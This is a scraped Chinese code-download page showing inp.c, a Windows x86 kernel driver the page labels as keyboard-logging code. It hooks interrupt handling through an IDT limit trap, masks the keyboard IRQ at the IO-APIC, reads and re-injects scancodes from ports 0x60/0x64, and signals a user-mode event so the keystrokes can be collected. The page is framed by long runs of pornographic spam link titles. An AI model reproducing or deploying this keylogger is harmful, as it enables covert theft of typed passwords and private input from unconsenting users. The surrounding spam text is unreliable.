亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? inp.c

?? 內核下鍵盤記錄的代碼
?? C
?? 第 1 頁 / 共 2 頁
字號:
/* inp.c
 *
 *
 *	- x86 Limit trap -
 *
 *
 * 	http://chpie.org
 *
 */
#include <ntddk.h>
#include "inp.h"
#include "i8042.h"

// Function prototypes
VOID DrvUnload(IN PDRIVER_OBJECT);
NTSTATUS DriverEntry(IN PDRIVER_OBJECT, IN PUNICODE_STRING);
NTSTATUS IoDeviceControl(IN	PDEVICE_OBJECT, IN PIRP);
NTSTATUS IoReadWrite(IN	PDEVICE_OBJECT, IN PIRP);
NTSTATUS IoDispatch(IN PDEVICE_OBJECT, IN PIRP);
void Initialization(VOID (*FunctionPointer)(IN PKDPC, IN PVOID, IN PVOID, IN PVOID));
void MPInitializationThread(IN PKDPC, IN PVOID, IN PVOID, IN PVOID);
void MPDisabledThread(IN PKDPC, IN PVOID, IN PVOID, IN PVOID);
void HandlerSetup(void);
volatile void NewHandler(void);
volatile void NewKeyboardHandler(void);
void InpKeyboardDpcFunction(IN PKDPC, IN PVOID, IN PVOID, IN PVOID);
PKINTERRUPT GetI8042PrtInterruptObject(void);

//
// i/o Apic related function
//
void InpIOAPICDisconnection(unsigned long **);
void InpIOAPICConnection(unsigned long **);
ULONG InpGetKeyboardInterruptVector(void);
void Inp_Mask_KeyboardInterrupt(void);
void Inp_Unmask_KeyboardInterrupt(void);
/*
 *
 *      Structures
 *
 */
#ifdef ALLOC_PRAGMA
#pragma alloc_text(INIT, DriverEntry)
#pragma alloc_text(PAGE, DrvUnload)
#pragma alloc_text(PAGE, IoDeviceControl)
#pragma alloc_text(PAGE, IoReadWrite)
#pragma alloc_text(PAGE, IoDispatch)
#endif

#define NT_DEVICE_NAME  L"\\Device\\INP" // device name and symbolic link name
#define DOS_DEVICE_NAME L"\\DosDevices\\INP"
#define NT_KEYBOARD_NAME0 L"\\Device\\KeyboardClass0" // keyboard driver's name

#define IOCTL_REQUEST_DATA        CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define IOCTL_REGISTER_EVENT      CTL_CODE(FILE_DEVICE_UNKNOWN, 0x802, METHOD_BUFFERED, FILE_ANY_ACCESS)

#define OUTPUT_BUFFER_FULL 0x1
#define INPUT_BUFFER_FULL  0x2

#define INP_KBD_DPC_HANDLING //
			     //  If you wanna to handle the keyboard with raw code,
			     //
			     //  remove this define.
			     //
			     //  if INP_KBD_DPC_HANDLING exists, inp.sys will be
			     //  use a DPC for keyboard handling.
			     //

/*
 *
 *
 *  	Global Variables.
 *
 */
PULONG           IOAPICGate; // mapped physical 0xfec00000 by the InpIOAPICConnection()
PULONG           OldHandler;	// Old Handler's Pointer of INT#1
KDPC             kDpc; // a DPC Object
ULONG            KeyboardInterruptVector; // keyboard vector number corresponds to irq 1
ULONG            kKeyboardHardwareIrql; // keyboard hardware irql

// MP support
long allProcessorDone;

// communication
PKEVENT pEvent = NULL;
UCHAR   data[2];


/*
 *
 *          	Codes
 *
 */

void Inp_Mask_KeyboardInterrupt(void)
{
	ULONG Buffer;

	IOAPICGate[0] = 0x10 + 2 * 1; // Open IRQ1's Redirection Table
	Buffer = IOAPICGate[4];

	_asm
	{
		bts Buffer, 16 // raise up bit offset 16 - Interrupt masked
	}

	IOAPICGate[0] = 0x10 + 2 * 1;
	IOAPICGate[4] = Buffer; // write
}

void Inp_Unmask_KeyboardInterrupt(void)
{
	ULONG Buffer;

	IOAPICGate[0] = 0x10 + 2 * 1; // Open IRQ1's Redirection Table
	Buffer = IOAPICGate[4];

	_asm
	{
		btr Buffer, 16 // clean up bit offset 16 - Interrupt is not masked
	}

	IOAPICGate[0] = 0x10 + 2 * 1;
	IOAPICGate[4] = Buffer; // write
}

volatile _declspec( naked ) void NewKeyboardHandler(void) // - Non-Paged
{
	//
	// ebp - 4   :: oldirql
	//
	#define _inp__NewKeyboardHandler_Local_variable_fullsize 0x4
	_asm
	{
		push ebp
		mov ebp, esp
		sub esp, _inp__NewKeyboardHandler_Local_variable_fullsize
		pushad
		push fs
		push ds
		push es

		mov  eax, 0x30
		mov  fs, ax
		mov  eax, 0x23
		mov  ds, ax
		mov  es, ax		
		
		//
		// Raise irql to 0x8 <-- From i8042prt's InterruptObject
		//
		xor eax, eax
		mov ecx, kKeyboardHardwareIrql
		call dword ptr [KfRaiseIrql] // KeRaiseIrql(kKeyboardHardwareIrql, ebp - 4);
		mov dword ptr [ebp - 4], eax

#ifndef INP_KBD_DPC_HANDLING
		call Inp_Mask_KeyboardInterrupt
		//
		//
		// 8042, 8048 Communication (Safe block)
		//
		//
    		mov ecx, 0xA000
     Read_0x60:	in al, 0x64
     		test al, 01b  // Output buffer full
		loopz Read_0x60

     		in al, 0x60
		mov data[0], al

		nop
		nop
		nop
	
		mov ecx, 0xA000
	Rtpb:	in al, 0x64
		test al, 00100000b // MOBFx
		jz Write0xD2
		in al, 0x60 // Drain buffer
		pause
		loop Rtpb
		//
		// Re-generating a scancode.
		//
		//     0xD2   Write Keyboard Output Register: on PS/2 systems the next data
		//            byte written to port 60h input register is written to port 60h
		//            output register as if initiated by a device;
		//            invokes interrupt if enabled
		//
     Write0xD2:	mov ecx, 0xA000
     Wait_IBF:  in al, 0x64
     		test al, 10b  // Input buffer full
		loopnz Wait_IBF
		mov al, 0xD2  // ---------------------> 0xD2
		out 0x64, al

		mov ecx, 0xA000
     Wait_IBF2: in al, 0x64
     		test al, 10b  // Input buffer full
		loopnz Wait_IBF2
		mov al, data[0] // -------------------> Scancode
		out 0x60, al

		mov ecx, 0xA000
      Wait4obf:	in al, 0x64
		test al, OUTPUT_BUFFER_FULL   // Wait until the 8042 read & process the scancode
		loopz Wait4obf

		mov data[1], al

		call Inp_Unmask_KeyboardInterrupt
#endif

		//
		// Requesting a Deferred Procedure Call
		//
		push 0
		push offset InpKeyboardDpcFunction
		mov eax, offset kDpc
		push eax
		call dword ptr [KeInitializeDpc] // KeInitializeDpc(&kDpc, InpKeyboardDpcFunction, 0);
		push 0
		push 0
		mov eax, offset kDpc
		push eax
		call dword ptr [KeInsertQueueDpc] // KeInsertQueueDpc(&kDpc, 0, 0);

		mov ecx, dword ptr [ebp - 4]
		call dword ptr [KfLowerIrql] // KeLowerIrql(dword ptr [ebp - 4]);
		pop es
		pop ds
		pop fs
		popad
		add esp, _inp__NewKeyboardHandler_Local_variable_fullsize
		pop ebp
		ret
	}
	#undef _inp__NewKeyboardHandler_Local_variable_fullsize
}

void InpKeyboardDpcFunction(IN PKDPC Dpc, IN PVOID DeferredContext, IN PVOID SystemArgument1, IN PVOID SystemArgument2)
{
	//
	// NewKeyboardHandler's DPC function
	//
	if (pEvent)
	{
		_asm
		{
			#ifdef INP_KBD_DPC_HANDLING

			in al, 0x64
			mov data[1], al
			in al, 0x60
			mov data[0], al

			#endif
		}

		KeSetEvent(pEvent, 0, 0);
	}
}

volatile _declspec( naked ) void NewHandler(void) // - Non-Paged
{
	// General-Protection Fault handler
	//
	// buffer    == dword ptr [ebp - 8]
	// handler   == dword ptr [ebp - 8 - 4]
	//
	_asm
	{
		push ebp
		mov ebp, esp
		sub esp, 12 // local
		pushad

		mov eax, dword ptr [ebp + 4] // errorcode
		bt  eax, 1 // idt flag
		jc  is_idt_reference

		call KeGetCurrentProcessorNumber
		shl eax, 2
		add eax, OldHandler
		mov dword ptr [ebp - 8 - 4], eax
		
		popad
		add esp, 12
		pop ebp
		// jump!
		jmp dword ptr [esp - 4 - 12] // cs is already 0x08

		is_idt_reference:
			bt eax, 0
			jc external_event

			mov eax, dword ptr [ebp + 8] // eip
			xor ebx, ebx
			mov bl, byte ptr [eax]
			cmp bl, 0xCD // int n instruction
			jne external_event

			add dword ptr [ebp + 8], 2 // skip the instruction int n

		external_event:
			//
			// * register usage *
			//
			// ebx :: IDT Entry pointer
			// ecx :: Vector
			// edx :: IDT[Vector] Handler's offset
			//
			mov ecx, dword ptr [ebp + 4] //error code
			shr ecx, 3 // delete ext, idt, gdt/ldt flags
			and ecx, 0xFF // get vector
			sidt fword ptr [ebp - 8]
			// memory on the stack
			// -8 -7 | -6 -5 -4 -3  | -2 -1
			// 00 00 | 00 00 00 00  | 00 00
			// Limit | Base address |

			// Filtering my lovely :$ keyboard interrupt
			//
			cmp ecx, KeyboardInterruptVector
			jne dispatch_interrupt

			call NewKeyboardHandler // ** Hooked **

		dispatch_interrupt:
			mov ebx, dword ptr [ebp - 8 + 2] // ebx = IDTR Base offset
			shl ecx, 3 // multiplies 8
			add ebx, ecx
			mov dx, word ptr [ebx + 6]
			shl edx, 0x10
			mov dx, word ptr [ebx] // edx = IDT[Vector].BaseOffset
			mov dword ptr [ebp - 8 - 4], edx // save it

			popad
			add esp, 12 // destroy local area
			pop ebp
			add esp, 4 // remove error code
			// jump!
			jmp dword ptr [esp - 4 - 4 - 12] // cs is already 0x08
	}	
}

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
99精品在线观看视频| 欧美老女人在线| 欧美三级电影网| 欧美一级淫片007| 国产精品福利一区| 亚洲成人av资源| 国产精一品亚洲二区在线视频| 99久久精品一区二区| 欧美午夜电影网| 国产亚洲精品7777| 午夜精品久久久久久久蜜桃app| 国产一区二区三区在线看麻豆| 色综合久久久网| 2020国产精品| 亚洲一卡二卡三卡四卡无卡久久| 午夜久久电影网| 久久国产福利国产秒拍| 99精品视频在线播放观看| 日韩一区二区视频在线观看| 国产精品成人一区二区艾草| 波多野结衣在线一区| 欧美三级资源在线| 国产午夜精品一区二区三区四区| 午夜电影网一区| 99久久精品国产一区| 国产亚洲一本大道中文在线| 日韩精品1区2区3区| 色综合一个色综合| 中文字幕精品—区二区四季| 五月天激情综合| 欧美丝袜丝交足nylons| 亚洲欧洲精品一区二区三区| 国产乱码精品一品二品| 日韩亚洲欧美中文三级| 亚洲第一激情av| 91精品福利视频| 亚洲精品日产精品乱码不卡| 成人国产精品免费| 国产欧美一区二区三区在线看蜜臀 | 成人午夜电影小说| 久久亚洲综合色一区二区三区| 天使萌一区二区三区免费观看| 欧美亚洲国产一区在线观看网站| 一色屋精品亚洲香蕉网站| 国产成人一级电影| 久久综合久久99| 奇米在线7777在线精品| 7777精品伊人久久久大香线蕉 | 成人18视频在线播放| 国产亚洲一区二区三区在线观看| 亚洲国产成人高清精品| 91在线视频播放| 久久久午夜精品| 精品伊人久久久久7777人| 欧美成人一区二区三区在线观看 | 亚洲成人一二三| 欧美日韩成人在线| 日本成人在线一区| 精品国产成人在线影院 | 亚洲精品国产a| 欧美视频中文一区二区三区在线观看| 亚洲精选视频在线| 欧美日韩亚洲丝袜制服| 免费视频最近日韩| 久久久国产午夜精品| 99综合电影在线视频| 日韩理论电影院| 欧美日韩另类一区| 捆绑变态av一区二区三区| 久久先锋影音av| 99久久久免费精品国产一区二区| 亚洲在线免费播放| 日韩欧美在线观看一区二区三区| 国产一区二区在线观看免费| 国产精品福利在线播放| 色偷偷久久人人79超碰人人澡| 亚洲三级电影网站| 色欧美片视频在线观看| 日韩av一区二区在线影视| 久久精品免视看| 欧美日韩精品一区二区三区四区 | 麻豆91免费看| 国产精品无码永久免费888| 国产福利不卡视频| 国产精品久久久久久久久果冻传媒| 在线中文字幕一区二区| 精品一区二区久久久| 亚洲女人****多毛耸耸8| 欧美二区三区91| 粉嫩av一区二区三区在线播放| 亚洲韩国精品一区| 久久久久久99精品| 欧美午夜寂寞影院| 粉嫩一区二区三区性色av| 日韩国产一区二| 亚洲日本欧美天堂| 欧美日韩在线播放三区| 国产精品白丝jk黑袜喷水| 国产欧美一区二区精品婷婷| 欧美日韩卡一卡二| 不卡av在线网| 国产一区二区中文字幕| 亚州成人在线电影| 国产精品热久久久久夜色精品三区| 欧美人伦禁忌dvd放荡欲情| 国产69精品久久久久毛片| 丝袜国产日韩另类美女| 国产欧美日韩在线| 日韩美女一区二区三区四区| 在线欧美小视频| a级高清视频欧美日韩| 精品一区二区三区的国产在线播放| 一区二区三区精品在线| 亚洲国产精品成人综合| 欧美岛国在线观看| 在线电影欧美成精品| 日本高清免费不卡视频| 99re这里只有精品首页| 久久国产尿小便嘘嘘| 亚洲一二三四在线| 亚洲视频在线一区观看| 国产精品国产a| 国产精品久久久久婷婷二区次| 26uuu精品一区二区三区四区在线| 欧美高清视频在线高清观看mv色露露十八 | 精品一区二区三区不卡| 美女在线视频一区| 强制捆绑调教一区二区| 日韩成人一级片| 日韩精品乱码av一区二区| 亚洲一卡二卡三卡四卡| 亚洲香蕉伊在人在线观| 性做久久久久久久久| 午夜精品视频在线观看| 日韩电影在线观看一区| 亚洲电影第三页| 五月婷婷综合网| 亚洲精品免费在线播放| 国产精品入口麻豆原神| 国产精品国产自产拍在线| 亚洲日本免费电影| 亚洲午夜免费电影| 日本不卡视频一二三区| 日本在线不卡视频一二三区| 亚洲免费成人av| 亚洲图片欧美一区| 日韩av在线发布| 免费人成网站在线观看欧美高清| 另类调教123区| 国产精品白丝jk黑袜喷水| 高清不卡一区二区| 在线免费一区三区| 91精品在线免费观看| 久久久99精品免费观看不卡| 亚洲欧洲日本在线| 有坂深雪av一区二区精品| 五月综合激情日本mⅴ| 国内精品久久久久影院一蜜桃| 国产v日产∨综合v精品视频| eeuss影院一区二区三区 | 99精品在线免费| 欧美不卡一二三| 亚洲图片自拍偷拍| 成人国产精品免费观看视频| 日韩欧美高清一区| 亚洲国产一区视频| 成人app软件下载大全免费| 777欧美精品| 亚洲一级二级在线| 97精品国产露脸对白| 久久久九九九九| 久久99精品久久久久久动态图 | 一区二区三区中文字幕| 国产精品一区二区视频| 欧美一区二区在线观看| 亚洲精选视频在线| 99re这里只有精品6| 国产欧美精品一区二区色综合| 男人的j进女人的j一区| 欧美三日本三级三级在线播放| 国产精品久久久爽爽爽麻豆色哟哟| 国产资源在线一区| 日韩三级视频中文字幕| 五月开心婷婷久久| 欧美色视频在线观看| 亚洲美女淫视频| 91麻豆国产精品久久| 亚洲日本中文字幕区| 成人国产精品免费网站| 一区二区三区小说| av动漫一区二区| 欧美韩日一区二区三区四区| 韩国女主播一区| 久久亚洲一区二区三区四区| 久久精品99国产精品日本| 欧美一激情一区二区三区| 日本不卡一二三| 精品久久久久av影院| 精品一区二区三区视频在线观看| 精品国产乱码久久久久久免费 |